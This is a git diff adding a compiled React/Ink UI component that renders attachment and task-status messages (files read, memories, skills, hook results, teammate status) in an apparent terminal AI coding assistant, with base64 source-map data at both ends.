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
\ No newline at end of file
diff --git a/cc-haha/src/components/messages/AttachmentMessage.tsx b/cc-haha/src/components/messages/AttachmentMessage.tsx
new file mode 100644
index 0000000..efbb758
--- /dev/null
+++ b/cc-haha/src/components/messages/AttachmentMessage.tsx
@@ -0,0 +1,536 @@
+import { c as _c } from "react/compiler-runtime";
+// biome-ignore-all assist/source/organizeImports: ANT-ONLY import markers must not be reordered
+import React, { useMemo } from 'react';
+import { Ansi, Box, Text } from '../../ink.js';
+import type { Attachment } from 'src/utils/attachments.js';
+import type { NullRenderingAttachmentType } from './nullRenderingAttachments.js';
+import { useAppState } from '../../state/AppState.js';
+import { getDisplayPath } from 'src/utils/file.js';
+import { formatFileSize } from 'src/utils/format.js';
+import { MessageResponse } from '../MessageResponse.js';
+import { basename, sep } from 'path';
+import { UserTextMessage } from './UserTextMessage.js';
+import { DiagnosticsDisplay } from '../DiagnosticsDisplay.js';
+import { getContentText } from 'src/utils/messages.js';
+import type { Theme } from 'src/utils/theme.js';
+import { UserImageMessage } from './UserImageMessage.js';
+import { toInkColor } from '../../utils/ink.js';
+import { jsonParse } from '../../utils/slowOperations.js';
+import { plural } from '../../utils/stringUtils.js';
+import { isEnvTruthy } from '../../utils/envUtils.js';
+import { isAgentSwarmsEnabled } from '../../utils/agentSwarmsEnabled.js';
+import { tryRenderPlanApprovalMessage, formatTeammateMessageContent } from './PlanApprovalMessage.js';
+import { BLACK_CIRCLE } from '../../constants/figures.js';
+import { TeammateMessageContent } from './UserTeammateMessage.js';
+import { isShutdownApproved } from '../../utils/teammateMailbox.js';
+import { CtrlOToExpand } from '../CtrlOToExpand.js';
+import { FilePathLink } from '../FilePathLink.js';
+import { feature } from 'bun:bundle';
+import { useSelectedMessageBg } from '../messageActions.js';
+type Props = {
+  addMargin: boolean;
+  attachment: Attachment;
+  verbose: boolean;
+  isTranscriptMode?: boolean;
+};
+export function AttachmentMessage({
+  attachment,
+  addMargin,
+  verbose,
+  isTranscriptMode
+}: Props): React.ReactNode {
+  const bg = useSelectedMessageBg();
+  // Hoisted to mount-time — per-message component, re-renders on every scroll.
+  const isDemoEnv = feature('EXPERIMENTAL_SKILL_SEARCH') ?
+  // biome-ignore lint/correctness/useHookAtTopLevel: feature() is a compile-time constant
+  useMemo(() => isEnvTruthy(process.env.IS_DEMO), []) : false;
+  // Handle teammate_mailbox BEFORE switch
+  if (isAgentSwarmsEnabled() && attachment.type === 'teammate_mailbox') {
+    // Filter out idle notifications BEFORE counting - they are hidden in the UI
+    // so showing them in the count would be confusing ("2 messages in mailbox:" with nothing shown)
+    const visibleMessages = attachment.messages.filter(msg => {
+      if (isShutdownApproved(msg.text)) {
+        return false;
+      }
+      try {
+        const parsed = jsonParse(msg.text);
+        return parsed?.type !== 'idle_notification' && parsed?.type !== 'teammate_terminated';
+      } catch {
+        return true; // Non-JSON messages are visible
+      }
+    });
+    if (visibleMessages.length === 0) {
+      return null;
+    }
+    return <Box flexDirection="column">
+        {visibleMessages.map((msg_0, idx) => {
+        // Try to parse as JSON for task_assignment messages
+        let parsedMsg: {
+          type?: string;
+          taskId?: string;
+          subject?: string;
+          assignedBy?: string;
+        } | null = null;
+        try {
+          parsedMsg = jsonParse(msg_0.text);
+        } catch {
+          // Not JSON, treat as plain text
+        }
+        if (parsedMsg?.type === 'task_assignment') {
+          return <Box key={idx} paddingLeft={2}>
+                <Text>{BLACK_CIRCLE} </Text>
+                <Text>Task assigned: </Text>
+                <Text bold>#{parsedMsg.taskId}</Text>
+                <Text> - {parsedMsg.subject}</Text>
+                <Text dimColor> (from {parsedMsg.assignedBy || msg_0.from})</Text>
+              </Box>;
+        }
+
+        // Note: idle_notification messages already filtered out above
+
+        // Try to render as plan approval message (request or response)
+        const planApprovalElement = tryRenderPlanApprovalMessage(msg_0.text, msg_0.from);
+        if (planApprovalElement) {
+          return <React.Fragment key={idx}>{planApprovalElement}</React.Fragment>;
+        }
+
+        // Plain text message - sender header with chevron, truncated content
+        const inkColor = toInkColor(msg_0.color);
+        const formattedContent = formatTeammateMessageContent(msg_0.text) ?? msg_0.text;
+        return <TeammateMessageContent key={idx} displayName={msg_0.from} inkColor={inkColor} content={formattedContent} summary={msg_0.summary} isTranscriptMode={isTranscriptMode} />;
+      })}
+      </Box>;
+  }
+
+  // skill_discovery rendered here (not in the switch) so the 'skill_discovery'
+  // string literal stays inside a feature()-guarded block. A case label can't
+  // be conditionally eliminated; an if-body can.
+  if (feature('EXPERIMENTAL_SKILL_SEARCH')) {
+    if (attachment.type === 'skill_discovery') {
+      if (attachment.skills.length === 0) return null;
+      // Ant users get shortIds inline so they can /skill-feedback while the
+      // turn is still fresh. External users (when this un-gates) just see
+      // names — shortId is undefined outside ant builds anyway.
+      const names = attachment.skills.map(s => s.shortId ? `${s.name} [${s.shortId}]` : s.name).join(', ');
+      const firstId = attachment.skills[0]?.shortId;
+      const hint = "external" === 'ant' && !isDemoEnv && firstId ? ` · /skill-feedback ${firstId} 1=wrong 2=noisy 3=good [comment]` : '';
+      return <Line>
+          <Text bold>{attachment.skills.length}</Text> relevant{' '}
+          {plural(attachment.skills.length, 'skill')}: {names}
+          {hint && <Text dimColor>{hint}</Text>}
+        </Line>;
+    }
+  }
+
+  // eslint-disable-next-line @typescript-eslint/switch-exhaustiveness-check -- teammate_mailbox/skill_discovery handled before switch
+  switch (attachment.type) {
+    case 'directory':
+      return <Line>
+          Listed directory <Text bold>{attachment.displayPath + sep}</Text>
+        </Line>;
+    case 'file':
+    case 'already_read_file':
+      if (attachment.content.type === 'notebook') {
+        return <Line>
+            Read <Text bold>{attachment.displayPath}</Text> (
+            {attachment.content.file.cells.length} cells)
+          </Line>;
+      }
+      if (attachment.content.type === 'file_unchanged') {
+        return <Line>
+            Read <Text bold>{attachment.displayPath}</Text> (unchanged)
+          </Line>;
+      }
+      return <Line>
+          Read <Text bold>{attachment.displayPath}</Text> (
+          {attachment.content.type === 'text' ? `${attachment.content.file.numLines}${attachment.truncated ? '+' : ''} lines` : formatFileSize(attachment.content.file.originalSize)}
+          )
+        </Line>;
+    case 'compact_file_reference':
+      return <Line>
+          Referenced file <Text bold>{attachment.displayPath}</Text>
+        </Line>;
+    case 'pdf_reference':
+      return <Line>
+          Referenced PDF <Text bold>{attachment.displayPath}</Text> (
+          {attachment.pageCount} pages)
+        </Line>;
+    case 'selected_lines_in_ide':
+      return <Line>
+          ⧉ Selected{' '}
+          <Text bold>{attachment.lineEnd - attachment.lineStart + 1}</Text>{' '}
+          lines from <Text bold>{attachment.displayPath}</Text> in{' '}
+          {attachment.ideName}
+        </Line>;
+    case 'nested_memory':
+      return <Line>
+          Loaded <Text bold>{attachment.displayPath}</Text>
+        </Line>;
+    case 'relevant_memories':
+      // Usually absorbed into a CollapsedReadSearchGroup (collapseReadSearch.ts)
+      // so this only renders when the preceding tool was non-collapsible (Edit,
+      // Write) and no group was open. Match CollapsedReadSearchContent's style:
+      // 2-space gutter, dim text, count only — filenames/content in ctrl+o.
+      return <Box flexDirection="column" marginTop={addMargin ? 1 : 0} backgroundColor={bg}>
+          <Box flexDirection="row">
+            <Box minWidth={2} />
+            <Text dimColor>
+              Recalled <Text bold>{attachment.memories.length}</Text>{' '}
+              {attachment.memories.length === 1 ? 'memory' : 'memories'}
+              {!isTranscriptMode && <>
+                  {' '}
+                  <CtrlOToExpand />
+                </>}
+            </Text>
+          </Box>
+          {(verbose || isTranscriptMode) && attachment.memories.map(m => <Box key={m.path} flexDirection="column">
+                <MessageResponse>
+                  <Text dimColor>
+                    <FilePathLink filePath={m.path}>
+                      {basename(m.path)}
+                    </FilePathLink>
+                  </Text>
+                </MessageResponse>
+                {isTranscriptMode && <Box paddingLeft={5}>
+                    <Text>
+                      <Ansi>{m.content}</Ansi>
+                    </Text>
+                  </Box>}
+              </Box>)}
+        </Box>;
+    case 'dynamic_skill':
+      {
+        const skillCount = attachment.skillNames.length;
+        return <Line>
+          Loaded{' '}
+          <Text bold>
+            {skillCount} {plural(skillCount, 'skill')}
+          </Text>{' '}
+          from <Text bold>{attachment.displayPath}</Text>
+        </Line>;
+      }
+    case 'skill_listing':
+      {
+        if (attachment.isInitial) {
+          return null;
+        }
+        return <Line>
+          <Text bold>{attachment.skillCount}</Text>{' '}
+          {plural(attachment.skillCount, 'skill')} available
+        </Line>;
+      }
+    case 'agent_listing_delta':
+      {
+        if (attachment.isInitial || attachment.addedTypes.length === 0) {
+          return null;
+        }
+        const count = attachment.addedTypes.length;
+        return <Line>
+          <Text bold>{count}</Text> agent {plural(count, 'type')} available
+        </Line>;
+      }
+    case 'queued_command':
+      {
+        const text = typeof attachment.prompt === 'string' ? attachment.prompt : getContentText(attachment.prompt) || '';
+        const hasImages = attachment.imagePasteIds && attachment.imagePasteIds.length > 0;
+        return <Box flexDirection="column">
+          <UserTextMessage addMargin={addMargin} param={{
+            text,
+            type: 'text'
+          }} verbose={verbose} isTranscriptMode={isTranscriptMode} />
+          {hasImages && attachment.imagePasteIds?.map(id => <UserImageMessage key={id} imageId={id} />)}
+        </Box>;
+      }
+    case 'plan_file_reference':
+      return <Line>
+          Plan file referenced ({getDisplayPath(attachment.planFilePath)})
+        </Line>;
+    case 'invoked_skills':
+      {
+        if (attachment.skills.length === 0) {
+          return null;
+        }
+        const skillNames = attachment.skills.map(s_0 => s_0.name).join(', ');
+        return <Line>Skills restored ({skillNames})</Line>;
+      }
+    case 'diagnostics':
+      return <DiagnosticsDisplay attachment={attachment} verbose={verbose} />;
+    case 'mcp_resource':
+      return <Line>
+          Read MCP resource <Text bold>{attachment.name}</Text> from{' '}
+          {attachment.server}
+        </Line>;
+    case 'command_permissions':
+      // The skill success message is rendered by SkillTool's renderToolResultMessage,
+      // so we don't render anything here to avoid duplicate messages.
+      return null;
+    case 'async_hook_response':
+      {
+        // SessionStart hook completions are only shown in verbose mode
+        if (attachment.hookEvent === 'SessionStart' && !verbose) {
+          return null;
+        }
+        // Generally hide async hook completion messages unless in verbose mode
+        if (!verbose && !isTranscriptMode) {
+          return null;
+        }
+        return <Line>
+          Async hook <Text bold>{attachment.hookEvent}</Text> completed
+        </Line>;
+      }
+    case 'hook_blocking_error':
+      {
+        // Stop hooks are rendered as a summary in SystemStopHookSummaryMessage
+        if (attachment.hookEvent === 'Stop' || attachment.hookEvent === 'SubagentStop') {
+          return null;
+        }
+        // Show stderr to the user so they can understand why the hook blocked
+        const stderr = attachment.blockingError.blockingError.trim();
+        return <>
+          <Line color="error">
+            {attachment.hookName} hook returned blocking error
+          </Line>
+          {stderr ? <Line color="error">{stderr}</Line> : null}
+        </>;
+      }
+    case 'hook_non_blocking_error':
+      {
+        // Stop hooks are rendered as a summary in SystemStopHookSummaryMessage
+        if (attachment.hookEvent === 'Stop' || attachment.hookEvent === 'SubagentStop') {
+          return null;
+        }
+        // Full hook output is logged to debug log via hookEvents.ts
+        return <Line color="error">{attachment.hookName} hook error</Line>;
+      }
+    case 'hook_error_during_execution':
+      // Stop hooks are rendered as a summary in SystemStopHookSummaryMessage
+      if (attachment.hookEvent === 'Stop' || attachment.hookEvent === 'SubagentStop') {
+        return null;
+      }
+      // Full hook output is logged to debug log via hookEvents.ts
+      return <Line>{attachment.hookName} hook warning</Line>;
+    case 'hook_success':
+      // Full hook output is logged to debug log via hookEvents.ts
+      return null;
+    case 'hook_stopped_continuation':
+      // Stop hooks are rendered as a summary in SystemStopHookSummaryMessage
+      if (attachment.hookEvent === 'Stop' || attachment.hookEvent === 'SubagentStop') {
+        return null;
+      }
+      return <Line color="warning">
+          {attachment.hookName} hook stopped continuation: {attachment.message}
+        </Line>;
+    case 'hook_system_message':
+      return <Line>
+          {attachment.hookName} says: {attachment.content}
+        </Line>;
+    case 'hook_permission_decision':
+      {
+        const action = attachment.decision === 'allow' ? 'Allowed' : 'Denied';
+        return <Line>
+          {action} by <Text bold>{attachment.hookEvent}</Text> hook
+        </Line>;
+      }
+    case 'task_status':
+      return <TaskStatusMessage attachment={attachment} />;
+    case 'teammate_shutdown_batch':
+      return <Box flexDirection="row" width="100%" marginTop={1} backgroundColor={bg}>
+          <Text dimColor>{BLACK_CIRCLE} </Text>
+          <Text dimColor>
+            {attachment.count} {plural(attachment.count, 'teammate')} shut down
+            gracefully
+          </Text>
+        </Box>;
+    default:
+      // Exhaustiveness: every type reaching here must be in NULL_RENDERING_TYPES.
+      // If TS errors, a new Attachment type was added without a case above AND
+      // without an entry in NULL_RENDERING_TYPES — decide: render something (add
+      // a case) or render nothing (add to the array). Messages.tsx pre-filters
+      // these so this branch is defense-in-depth for other render paths.
+      //
+      // skill_discovery and teammate_mailbox are handled BEFORE the switch in
+      // runtime-gated blocks (feature() / isAgentSwarmsEnabled()) that TS can't
+      // narrow through — excluded here via type union (compile-time only, no emit).
+      attachment.type satisfies NullRenderingAttachmentType | 'skill_discovery' | 'teammate_mailbox';
+      return null;
+  }
+}
+type TaskStatusAttachment = Extract<Attachment, {
+  type: 'task_status';
+}>;
+function TaskStatusMessage(t0) {
+  const $ = _c(4);
+  const {
+    attachment
+  } = t0;
+  if (false && attachment.status === "killed") {
+    return null;
+  }
+  if (isAgentSwarmsEnabled() && attachment.taskType === "in_process_teammate") {
+    let t1;
+    if ($[0] !== attachment) {
+      t1 = <TeammateTaskStatus attachment={attachment} />;
+      $[0] = attachment;
+      $[1] = t1;
+    } else {
+      t1 = $[1];
+    }
+    return t1;
+  }
+  let t1;
+  if ($[2] !== attachment) {
+    t1 = <GenericTaskStatus attachment={attachment} />;
+    $[2] = attachment;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  return t1;
+}
+function GenericTaskStatus(t0) {
+  const $ = _c(9);
+  const {
+    attachment
+  } = t0;
+  const bg = useSelectedMessageBg();
+  const statusText = attachment.status === "completed" ? "completed in background" : attachment.status === "killed" ? "stopped" : attachment.status === "running" ? "still running in background" : attachment.status;
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = <Text dimColor={true}>{BLACK_CIRCLE} </Text>;
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  let t2;
+  if ($[1] !== attachment.description) {
+    t2 = <Text bold={true}>{attachment.description}</Text>;
+    $[1] = attachment.description;
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  let t3;
+  if ($[3] !== statusText || $[4] !== t2) {
+    t3 = <Text dimColor={true}>Task "{t2}" {statusText}</Text>;
+    $[3] = statusText;
+    $[4] = t2;
+    $[5] = t3;
+  } else {
+    t3 = $[5];
+  }
+  let t4;
+  if ($[6] !== bg || $[7] !== t3) {
+    t4 = <Box flexDirection="row" width="100%" marginTop={1} backgroundColor={bg}>{t1}{t3}</Box>;
+    $[6] = bg;
+    $[7] = t3;
+    $[8] = t4;
+  } else {
+    t4 = $[8];
+  }
+  return t4;
+}
+function TeammateTaskStatus(t0) {
+  const $ = _c(16);
+  const {
+    attachment
+  } = t0;
+  const bg = useSelectedMessageBg();
+  let t1;
+  if ($[0] !== attachment.taskId) {
+    t1 = s => s.tasks[attachment.taskId];
+    $[0] = attachment.taskId;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const task = useAppState(t1);
+  if (task?.type !== "in_process_teammate") {
+    let t2;
+    if ($[2] !== attachment) {
+      t2 = <GenericTaskStatus attachment={attachment} />;
+      $[2] = attachment;
+      $[3] = t2;
+    } else {
+      t2 = $[3];
+    }
+    return t2;
+  }
+  let t2;
+  if ($[4] !== task.identity.color) {
+    t2 = toInkColor(task.identity.color);
+    $[4] = task.identity.color;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  const agentColor = t2;
+  const statusText = attachment.status === "completed" ? "shut down gracefully" : attachment.status;
+  let t3;
+  if ($[6] === Symbol.for("react.memo_cache_sentinel")) {
+    t3 = <Text dimColor={true}>{BLACK_CIRCLE} </Text>;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  let t4;
+  if ($[7] !== agentColor || $[8] !== task.identity.agentName) {
+    t4 = <Text color={agentColor} bold={true} dimColor={false}>@{task.identity.agentName}</Text>;
+    $[7] = agentColor;
+    $[8] = task.identity.agentName;
+    $[9] = t4;
+  } else {
+    t4 = $[9];
+  }
+  let t5;
+  if ($[10] !== statusText || $[11] !== t4) {
+    t5 = <Text dimColor={true}>Teammate{" "}{t4}{" "}{statusText}</Text>;
+    $[10] = statusText;
+    $[11] = t4;
+    $[12] = t5;
+  } else {
+    t5 = $[12];
+  }
+  let t6;
+  if ($[13] !== bg || $[14] !== t5) {
+    t6 = <Box flexDirection="row" width="100%" marginTop={1} backgroundColor={bg}>{t3}{t5}</Box>;
+    $[13] = bg;
+    $[14] = t5;
+    $[15] = t6;
+  } else {
+    t6 = $[15];
+  }
+  return t6;
+}
+// We allow setting dimColor to false here to help work around the dim-bold bug.
+// https://github.com/chalk/chalk/issues/290
+function Line(t0) {
+  const $ = _c(7);
+  const {
+    dimColor: t1,
+    children,
+    color
+  } = t0;
+  const dimColor = t1 === undefined ? true : t1;
+  const bg = useSelectedMessageBg();
+  let t2;
+  if ($[0] !== children || $[1] !== color || $[2] !== dimColor) {
+    t2 = <MessageResponse><Text color={color} dimColor={dimColor} wrap="wrap">{children}</Text></MessageResponse>;
+    $[0] = children;
+    $[1] = color;
+    $[2] = dimColor;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== bg || $[5] !== t2) {
+    t3 = <Box backgroundColor={bg}>{t2}</Box>;
+    $[4] = bg;
+    $[5] = t2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  return t3;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsInVzZU1lbW8iLCJBbnNpIiwiQm94IiwiVGV4dCIsIkF0dGFjaG1lbnQiLCJOdWxsUmVuZGVyaW5nQXR0YWNobWVudFR5cGUiLCJ1c2VBcHBTdGF0ZSIsImdldERpc3BsYXlQYXRoIiwiZm9ybWF0RmlsZVNpemUiLCJNZXNzYWdlUmVzcG9uc2UiLCJiYXNlbmFtZSIsInNlcCIsIlVzZXJUZXh0TWVzc2FnZSIsIkRpYWdub3N0aWNzRGlzcGxheSIsImdldENvbnRlbnRUZXh0IiwiVGhlbWUiLCJVc2VySW1hZ2VNZXNzYWdlIiwidG9JbmtDb2xvciIsImpzb25QYXJzZSIsInBsdXJhbCIsImlzRW52VHJ1dGh5IiwiaXNBZ2VudFN3YXJtc0VuYWJsZWQiLCJ0cnlSZW5kZXJQbGFuQXBwcm92YWxNZXNzYWdlIiwiZm9ybWF0VGVhbW1hdGVNZXNzYWdlQ29udGVudCIsIkJMQUNLX0NJUkNMRSIsIlRlYW1tYXRlTWVzc2FnZUNvbnRlbnQiLCJpc1NodXRkb3duQXBwcm92ZWQiLCJDdHJsT1RvRXhwYW5kIiwiRmlsZVBhdGhMaW5rIiwiZmVhdHVyZSIsInVzZVNlbGVjdGVkTWVzc2FnZUJnIiwiUHJvcHMiLCJhZGRNYXJnaW4iLCJhdHRhY2htZW50IiwidmVyYm9zZSIsImlzVHJhbnNjcmlwdE1vZGUiLCJBdHRhY2htZW50TWVzc2FnZSIsIlJlYWN0Tm9kZSIsImJnIiwiaXNEZW1vRW52IiwicHJvY2VzcyIsImVudiIsIklTX0RFTU8iLCJ0eXBlIiwidmlzaWJsZU1lc3NhZ2VzIiwibWVzc2FnZXMiLCJmaWx0ZXIiLCJtc2ciLCJ0ZXh0IiwicGFyc2VkIiwibGVuZ3RoIiwibWFwIiwiaWR4IiwicGFyc2VkTXNnIiwidGFza0lkIiwic3ViamVjdCIsImFzc2lnbmVkQnkiLCJmcm9tIiwicGxhbkFwcHJvdmFsRWxlbWVudCIsImlua0NvbG9yIiwiY29sb3IiLCJmb3JtYXR0ZWRDb250ZW50Iiwic3VtbWFyeSIsInNraWxscyIsIm5hbWVzIiwicyIsInNob3J0SWQiLCJuYW1lIiwiam9pbiIsImZpcnN0SWQiLCJoaW50IiwiZGlzcGxheVBhdGgiLCJjb250ZW50IiwiZmlsZSIsImNlbGxzIiwibnVtTGluZXMiLCJ0cnVuY2F0ZWQiLCJvcmlnaW5hbFNpemUiLCJwYWdlQ291bnQiLCJsaW5lRW5kIiwibGluZVN0YXJ0IiwiaWRlTmFtZSIsIm1lbW9yaWVzIiwibSIsInBhdGgiLCJza2lsbENvdW50Iiwic2tpbGxOYW1lcyIsImlzSW5pdGlhbCIsImFkZGVkVHlwZXMiLCJjb3VudCIsInByb21wdCIsImhhc0ltYWdlcyIsImltYWdlUGFzdGVJZHMiLCJpZCIsInBsYW5GaWxlUGF0aCIsInNlcnZlciIsImhvb2tFdmVudCIsInN0ZGVyciIsImJsb2NraW5nRXJyb3IiLCJ0cmltIiwiaG9va05hbWUiLCJtZXNzYWdlIiwiYWN0aW9uIiwiZGVjaXNpb24iLCJUYXNrU3RhdHVzQXR0YWNobWVudCIsIkV4dHJhY3QiLCJUYXNrU3RhdHVzTWVzc2FnZSIsInQwIiwiJCIsIl9jIiwic3RhdHVzIiwidGFza1R5cGUiLCJ0MSIsIkdlbmVyaWNUYXNrU3RhdHVzIiwic3RhdHVzVGV4dCIsIlN5bWJvbCIsImZvciIsInQyIiwiZGVzY3JpcHRpb24iLCJ0MyIsInQ0IiwiVGVhbW1hdGVUYXNrU3RhdHVzIiwidGFza3MiLCJ0YXNrIiwiaWRlbnRpdHkiLCJhZ2VudENvbG9yIiwiY